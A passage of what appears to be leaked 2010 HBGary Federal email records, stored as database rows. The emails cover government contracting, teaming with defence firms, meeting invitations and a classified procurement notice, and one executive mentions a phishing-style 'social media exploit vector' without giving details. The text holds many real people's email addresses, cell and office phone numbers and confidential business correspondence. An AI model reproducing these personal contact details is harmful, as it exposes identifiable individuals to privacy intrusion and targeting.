Stars:&nbsp; New Technologies, New Technologists\r\n					\r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						TIME\r\n						\r\n						\r\n						CONFERENCE DAY 2: WEDNESDAY, OCTOBER 27TH \r\n						\r\n						\r\n					\r\n					\r\n						9:00 am\r\n						Morning Keynote Address&nbsp; \r\n						TBA\r\n					\r\n					\r\n						10:15 am \r\n						1-4: Cloud Security\r\n						2-4: Green Computing Standards\r\n						3-4: Virtualization Economics\r\n					\r\n					\r\n						11:45 am\r\n						Keynote: The Real Reasons to do Cloud\r\n						Ira (&quot;Gus&quot;) Hunt, Chief Technology Office, CIA\r\n					\r\n					\r\n						1:30 pm\r\n						1-5: Cloud Storage: Consolidating Storage Capacity for Non-Sensitive Data\r\n						2-5: The Green IT Lifecycle: From Procurement to Recycling\r\n						3-5: Virtualization Use Case\r\n					\r\n				\r\n			\r\n			\r\n				\r\n					\r\n						3:00 pm\r\n						1-6: The Green Cloud\r\n						3-6: Virtualization &amp; DR\r\n					\r\n				\r\n			\r\n			\r\n			\r\n			\r\n			Don\'t miss your chance to hear from your government peers and\r\n			industry experts on new technology solutions that power government. \r\n			\r\n			\r\n			. \r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Spotlight on Carahsoft Partner:\r\n						\r\n						\r\n						&nbsp; \r\n						\r\n						\r\n						Symantec recognizes the unique challenges faced by IT professionals at all levels of government, featuring a dedicated team of public sector and solution experts to deliver a diverse array of solutions designed to address a full range of challenges, such as virtualization, data loss prevention, green IT, mobile computing, e-discovery and more. With Symantec software and solutions, securing and managing critical information across your organization can be reliable, transparent and cost-effective.\r\n						\r\n					\r\n				\r\n			\r\n			\r\n			Registration Sponsor:  \r\n			\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			SPONSORS: \r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n			\r\n			\r\n			 \r\n			\r\n			\r\n		\r\n		\r\n			&nbsp;\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',9344,'aaron_hbgary_com/9344.html'),(12096,'2010-09-21','greg@gunwalegames.com','/aaron@hbgary.com/new/1297008984.M875139P14101Q6951.eml','aaron@hbgary.com','User Stories','\r\n\r\nI\'ve shared User Stories\r\nMessage from greg@gunwalegames.com:\r\n\r\nClick to open:\r\nUser Stories\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',15716,'aaron_hbgary_com/15716.html'),(12097,'2010-09-21','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297008987.M645960P14101Q6952.eml','courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>','Sealed Packages (IAW Section L) Due Friday COB','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood morning.&nbsp; Please ensure your sealed packages are\r\ndelivered by COB Friday and that they meet the requirements of Section L (in\r\nparticular 6.0 Volume VI&#8212;page 15-24).&nbsp; \r\n\r\n&nbsp;\r\n\r\nOur pricer, Cheryl Grays is creating a checklist for the\r\ncost volume.&nbsp; I will send that to each of you later today.&nbsp; Hopefully\r\nit will help ensure all the requirements are being met.\r\n\r\n&nbsp;\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are the addressee (or\r\nauthorized to receive for the addressee), you may not use, copy, disclose or\r\ndistribute this email or any of the contents of this email.&nbsp; If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6129,'aaron_hbgary_com/6129.html'),(12098,'2010-09-21','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008988.M46751P14101Q6953.eml','\"Aaron Barr\" <aaron@hbgary.com>,ctobias@wiikno.com,\"Ted Vera\" <ted@hbgary.com>','Invitation: WiiKno, Inc. HGary Discussion re: NCSC etc. @ Thu Sep 23 4pm - 5pm (aaron@hbgary.com)',' more details &raquo;WiiKno, Inc. HGary Discussion re: NCSC etc.Craig Tobias CTO WiiKnoAaron Barr HBGary Federal CEOTed Vera HBGary Fedaral CTOAgendaCraig Tobias is working on an NCSC project for information security -- handling a fiber component.  Craig approached HBGary to become a Reseller/Partner and introduce us to the NCSC.The purpose of the meeting is to explore the opportunity and partnership viability.  Craig also does work with social engineering.WhenThu Sep 23 4pm – 5pm Eastern TimeWhereto be added (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;Aaron Barr&#x2022;ctobias@wiikno.com&#x2022;Ted VeraGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',13937,'aaron_hbgary_com/13937.html'),(12099,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008988.M699428P14101Q6954.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>,\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: FW: Green Eggs MS #13 Kick-off','Brian,\r\n\r\nAttached are the completed forms.  Let me know if there is anything\r\nelse you need from me.\r\n\r\nNice catching up with you.  Have fun with Aaron this week -- work him\r\nto the bone.\r\n\r\nTed\r\n\r\n\r\n\r\n\r\nOn Tue, Sep 21, 2010 at 9:26 AM, Masterson, Brian M (XETRON)\r\n wrote:\r\n> Ted,\r\n>\r\n> Not sure if you or Aaron do this.  Can you fill out the P230 and send us a\r\n> copy of your W9 (whatever) that is?\r\n>\r\n> Thanks,\r\n>\r\n> Brian\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n>\r\n> _____________________________________________\r\n> From: Schloemer, Scott A (XETRON)\r\n> Sent: Tuesday, September 21, 2010 11:13 AM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: RE: Green Eggs MS #13 Kick-off\r\n>\r\n> Brian,\r\n>\r\n> We require the attached two forms to be filled out and returned. You can\r\n> fill out the P726 and HBGary will need to complete the P230 and also provide\r\n> us with a copy of their W9. We will then submit them to the Supplier\r\n> Evaluation Board for approval.\r\n>\r\n> Thanks,\r\n>\r\n> Scott\r\n>\r\n> > >\r\n>\r\n> _____________________________________________\r\n> From: Masterson, Brian M (XETRON)\r\n> Sent: Tuesday, September 21, 2010 10:55 AM\r\n> To: Schloemer, Scott A (XETRON)\r\n> Subject: Green Eggs MS #13 Kick-off\r\n>\r\n> Scott,\r\n>\r\n> I am sorry I was not thinking.  We have an UNO Study Proposal that we are\r\n> going to be working on this week.  I just finished the kick-off meeting.\r\n> The proposal is due on Friday at noon.  We are going to team with HBGary\r\n> Federal on this.  Their president, Aaron Barr, will be here this afternoon.\r\n> Will we need HBGary Federal added as an approved vendor?  What do I need to\r\n> do?\r\n>\r\n> Brian\r\n>\r\n>  >\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',6250,'aaron_hbgary_com/6250.html'),(12100,'2010-09-21','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008988.M921612P14101Q6955.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','invitation for Thursday meeting with WiitKno','Ted / AaronCraig keeps hearing about HBGary at DC3 and other places and wants to become a reseller/partner.  I could not determine exactly where the strategic fit is and need your help.  \r\nHere is the Wikipedia Description\r\nThe National Cyber Security Center (NCSC) is an office within the United States Department of Homeland Security (DHS) created in March 2008, and is based on the requirements of National Security Presidential Directive 54/Homeland Security Presidential Directive 23 (NSPD-54/HSPD-23), reporting directly to DHS Secretary Janet Napolitano. [1] The NCSC is tasked with protecting the U.S. Government’s communications networks. The Center will monitor, collect and share information on systems belonging to NSA, FBI, DoD, and DHS.\r\nThe first Director appointed to head the Center was Rod Beckstrom, a successful entrepreneur and co-author of The Starfish and the Spider. On March 5, 2009, Beckstrom tendered his resignation as the Director of National Cybersecurity Center. According to the Washington Post, Beckstrom resigned, &quot;...due to a lack of resources and because there were efforts underway to fold his group -- as well as the division Reitinger is joining -- into a facility at the NSA.&quot; On March 11, 2009, Phil Reitinger, then at Microsoft, was appointed to the position.\r\nThe U.S. Government believes it is under ever increasing cyber attacks. The NCSC is reaching out to industry to acquire a collaboration tool that will help the various centers coordinate with each other. The NCSC has contracted with WiiKno Inc. (founded by Craig Tobias Web 2.0 pioneer) to design, and build a Web 2.0 solutions to facilitate the collaboration between Cyber Centers.\r\nCraig Tobias CTO WiiKnoAaron Barr HBGary Federal CEOTed Vera HBGary Fedaral CTOAgendaCraig Tobias is working on an NCSC project for information security -- handling a fiber component.  Craig approached HBGary to become a Reseller/Partner and introduce us to the NCSC.\r\nThe purpose of the meeting is to explore the opportunity and partnership viability.  Craig also does work with social engineering.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',12816,'aaron_hbgary_com/12816.html'),(12101,'2010-09-21','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297008989.M139247P14101Q6956.eml','\"Aaron barr\" <aaron@hbgary.com>','social sites','ChatRoulette.com is a new interesting site...random webcam chats...and of\r\ncourse Russian funded and built.\r\n\r\nBut then facebook and zenga games are heavily funded by Moscow...\r\n\r\nhttp://techcrunch.com/2010/03/16/chatroulette-stats-male-perverts/\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt\r\nOffice of the Secretary of Defense\r\n\r\n\r\n',9419,'aaron_hbgary_com/9419.html'),(12102,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008989.M352314P14101Q6957.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: social sites','Ha.  I will check it out.\r\n\r\nI figured out a new social media exploit vector using the evite\r\nsystems yesterday.  I unleashed it on our own company and got nearly\r\n100% click through.  I have a social media pen test methodology which\r\nworks very successfully for targeted exploitation.  This is going to\r\nbecome the norm I think.  Hold on it\'s going to be a fun ride.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 21, 2010, at 1:04 PM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> ChatRoulette.com is a new interesting site...random webcam chats...and of\r\n> course Russian funded and built.\r\n>\r\n> But then facebook and zenga games are heavily funded by Moscow...\r\n>\r\n> http://techcrunch.com/2010/03/16/chatroulette-stats-male-perverts/\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt\r\n> Office of the Secretary of Defense\r\n>\r\n>\r\n',916,'aaron_hbgary_com/916.html'),(12103,'2010-09-21','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008989.M574714P14101Q6958.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: COIN/Romas','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAnything new from yesterday&#8217;s meeting (if it occurred?)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Sunday, September 19, 2010 10:21 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC); Garcia, Kathy (TASC); Pisani, Albert A.\r\n(TASC); Heider, Raymond A (TASC); Newbern, Dave (TASC); Brunst Jr, Gerald R\r\n(TASC)\r\nSubject: Re: COIN/Romas\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk with mez\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 19, 2010, at 10:15 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does 9:00\r\nsound?&nbsp; I am in meetings from 10:30 - 2:00.&nbsp; All in WF can meet in\r\nconference room 3B (if it is available) as it has a telcon phone.&nbsp; I\'ll verify\r\nwhich conference room when I get in and update everyone\'s calendars.&nbsp;\r\n\r\nHope this comes together quickly.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Lovegrove, John (TASC)\r\nSent: Sun 9/19/2010 11:52 AM\r\nTo: Aaron Barr; Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A.\r\n(TASC); Heider, Raymond A (TASC)\r\nSubject: RE: COIN/Romas\r\n\r\nI spoke to Aaron this morning, recommend we have a conference call on Monday to\r\ncatch everyone up.&nbsp; Chris, can you schedule it when you get in on\r\ntomorrow?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of the\r\nperson or entity to whom it is addressed and may contain confidential or\r\nprivileged information. If the reader of this e-mail is not the intended\r\nrecipient or his or her authorized agent, the reader is hereby notified that\r\nany dissemination, distribution or copying of this e-mail is prohibited. If you\r\nthink that you have received this e-mail in error, please advise the sender by\r\nreply e-mail of the error and then delete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Saturday, September 18, 2010 11:26 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Pisani,\r\nAlbert A. (TASC)\r\nSubject: COIN/Romas\r\n\r\nNew Twist.\r\n\r\nI spoke with the Branch Chief, John, this morning.&nbsp; Things have\r\nchanged.&nbsp; They are going to now break out each of the 4 areas and release\r\n4 RFPs.&nbsp; Also HBGary Federal is being added directly to the bidders\r\nlist.&nbsp; I have to go into the office and sign some paperwork.&nbsp; I don\'t\r\nthink the last part really changes much from my perspective, but with the other\r\nnews we need to sit down and talk this through.&nbsp; The RFPs should be coming\r\nout in the next week or so.&nbsp; I unfortunately will be in Cincinatti\r\nMon-Thurs.&nbsp; I can meet monday morning after I head in to see John and\r\nbefore the airport, or friday.\r\n\r\nWhen does this ride end?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16831,'aaron_hbgary_com/16831.html'),(12104,'2010-09-21','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297008993.M609361P14101Q6959.eml','zazmi@caci.com,aaron@hbgary.com,shawn.carroll@qwest.com,wcooper@comcast.net,lance.cottrell@abraxascorp.com,rfontecilla@sevatec.com,skip.foote@americansystems.com,gjg@mitre.org,steve_k_hawkins@raytheon.com,rodney.joffe@neustar.biz,david_joslin@federal.dell.com,pelacombe@securemissionsolutions.com,john.lamboy@vangent.com,plamontagne@paradigmsolutions.com,wluti@digitalmanagement.com,vincent.mihalik@wyle.com,alexander.miller@l-3com.com,jmoorcones@safenet-inc.com,ccpalmer@us.ibm.com,bill.phelps@accenture.com,james.russell@qinetiq-na.com,nadia.short@gd-ais.com,stewart_bill@bah.com,larry.strang@tasc.com,bill.varner@mantech.com,svisner@csc.com,jwatters@isightpartners.com,dusty.wince@knowledgecg.com,tiffany_jones@symantec.com,bmalexia@rockwellcollins.com,jreagan@deloitte.com,mike_carpenter@mcafee.com,roger_anderson@appsig.com,pat.burke@sra.com,samuel.chun@hp.com,larry.d.cox@saic.com,bdix@juniper.org,michael.fraser@usis.com,jkoenig@harris.com,scottmil@microsoft.com,jpayne@telcordia.com,kenneth.sannicolas@stanleyassociates.com,john.lewington@baesystems.com,kathy.warden@ngc.com,kgilbo@caci.com,sharon.c.jackson@qwest.com,lhormann@mitre.org,rita_g_hall@raytheon.com,lisa.patel@neustar.biz,phil_niskanen@federal.dell.com,jmushro@paradigmsolutions.com,simone.hasson@l-3com.com,kwoc@us.ibm.com,anissa.l.thomas@accenture.com,teresa.brennan@gd-ais.com,dana.briggs@mantech.com,rnichols2@csc.com,mgonzales@isightpartners.com,rwilloughby@deloitte.com,laura_rochette@mcafee.com,ines_dunsmore@appsig.com,orlandof@saic.com,jessie.miscar@usis.com,valerim@microsoft.com,bgarriso@telcordia.com,jennifer.derflinger@ngc.com','Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)-Sept. 29, 2010','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 29, 2010 5:30 PM-8:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: The Ritz-Carlton - Tysons (1700 Tysons Blvd, McLean, VA 22102)\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nPlease join us on Wednesday, September 29th for the 2nd dinner in the 2010 ExecutiveBiz 4x24 Dinner Series.&nbsp; \r\n&nbsp;\r\nThis will be a joint-networking dinner with another 4x24 Group (Group 4).&nbsp; The networking will be held in the Plaza Room at The Ritz-Carlton – Tysons (1700 Tysons Blvd, McLean, VA 22102) and at 6:30pm the two groups\r\nwill separate for dinner. I am pleased to announce that our speaker for the evening will be Major General Suzanne Vautrinot. Below you will find a copy of her bio for your review.\r\n&nbsp;\r\nIf you have any questions, please contact Madeline Ortiz at 703-226-7006 or via email at madeline@executivebiz.com.&nbsp; \r\n&nbsp;\r\nThanks,\r\n&nbsp;\r\nJD \r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nMAJOR GENERAL SUZANNE M. &quot;ZAN&quot; VAUTRINOT\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nMaj. Gen.Suzanne M. &quot;Zan&quot; Vautrinot is&nbsp;Director of Plans and Policy, U.S. Cyber Command, Fort George G. Meade, Md. She is directly responsible to the USCYBERCOM Commander for the development and coordination of existing\r\nand emerging issues as related to cyberspace operations policy, doctrine, organization, capabilities and requirements. She also maintains U.S. Strategic Command cyberspace contingency and operational plans and the Cyber Capabilities Registry.\r\n\r\n\r\n\r\nGeneral Vautrinot entered the Air Force after graduating from the U.S. Air Force Academy in 1982. Her experience in space systems acquisition and operation includes national reconnaissance satellites, the Satellite Control Network, advanced space surveillance,\r\nsatellite command and control, and theater missile warning. She has served as Chief of Operations for 14th Air Force and Director of the Aerospace Operations Center at Vandenberg AFB, Calif. Her commands include a space warning squadron, space operations group,&nbsp;space\r\nwing and the Air Force Recruiting Service. The general held staff assignments at Headquarters U.S. Air Force, U.S. Air Forces in Europe, Headquarters Air Force Space Command and the Office of the Chairman of the Joint Chiefs of Staff.\r\n&nbsp;\r\n\r\n\r\n\r\n',8220,'aaron_hbgary_com/8220.html'),(12105,'2010-09-21','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008993.M888487P14101Q6960.eml','\"Aaron Barr\" <aaron@hbgary.com>','WoW makes their auction house mobile app',' \r\nAaron,\r\nBlizzard just released full auction-house interaction from mobile devices without being logged into the game.  Funny how that happens right after we spec similar behavior in our own game.\r\n \r\n-Greg\r\n',9960,'aaron_hbgary_com/9960.html'),(12106,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008994.M112360P14101Q6961.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: COIN/Romas','Hey John,Sorry no it didn&#39;t occur.  John annj are going to try and meet up on Friday.AaronSent from my iPhone\r\nOn Sep 21, 2010, at 3:02 PM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com&gt; wrote:\r\n\r\n\r\n\r\nAnything new from yesterday’s meeting (if it occurred?)\r\n\r\n \r\n\r\n\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n \r\n\r\n\r\n',481,'aaron_hbgary_com/481.html'),(12107,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008994.M384758P14101Q6962.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: CDC','---------- Forwarded message ----------\r\nFrom: Tegeder, Carl (CDC/OCOO/ITSO)\r\nDate: Tue, Sep 21, 2010 at 11:53 AM\r\nSubject: RE: CDC\r\nTo: Ted Vera\r\n\r\n\r\nHere is the confusion…\r\n\r\n\r\n\r\nDepartment of Health and Human Services (DHHS) is made up of:\r\nHeadquarters, FDA, CSC, CDC, PSC, and I think a few other orgs.\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, September 21, 2010 10:59 AM\r\nTo: Tegeder, Carl (CDC/OCOO/ITSO) (CTR)\r\nSubject: Fwd: CDC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: \"Bob Slapnik\" \r\nDate: September 21, 2010 7:50:17 AM MDT\r\nTo: \"\'Ted Vera\'\" , \"\'Maria Lucas\'\" ,\r\n\"\'Leavy Penny\'\" \r\nCc: \"\'Barr Aaron\'\" \r\nSubject: RE: CDC\r\n\r\nTed,\r\n\r\nI don\'t know Tom Madden, so yes please line it up.  They must have more than\r\none CISCO because that is the title of Mike Rider at CSC.\r\n\r\nBob\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, September 20, 2010 10:50 PM\r\nTo: Maria Lucas; Leavy Penny; Slapnik Bob\r\nCc: Barr Aaron\r\nSubject: CDC\r\n\r\nDo we have any contact with Tom Madden at CDC? He\'s the CISO. My buddy\r\nCarl can get us an audience.\r\n\r\nTed\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3922,'aaron_hbgary_com/3922.html'),(12108,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008994.M623554P14101Q6963.eml','\"Lawrence Hill\" <lawrence.hill@ngc.com>,\"Lawrence Hill\" <lawrence.hill@ngc.com>','SCIF Space','Hi Lawrence,\r\n\r\nDo you have any SCIF space that is available for lease?\r\n\r\nTed\r\n',10327,'aaron_hbgary_com/10327.html'),(12109,'2010-09-21','arc@westfields.net','/aaron@hbgary.com/new/1297008994.M906620P14101Q6964.eml','federal@hbgary.com','AS&T Sole Source Business Opportunity Posting','\r\nThe NRO/AS&T Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPFF. The Effort Type is R&D.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 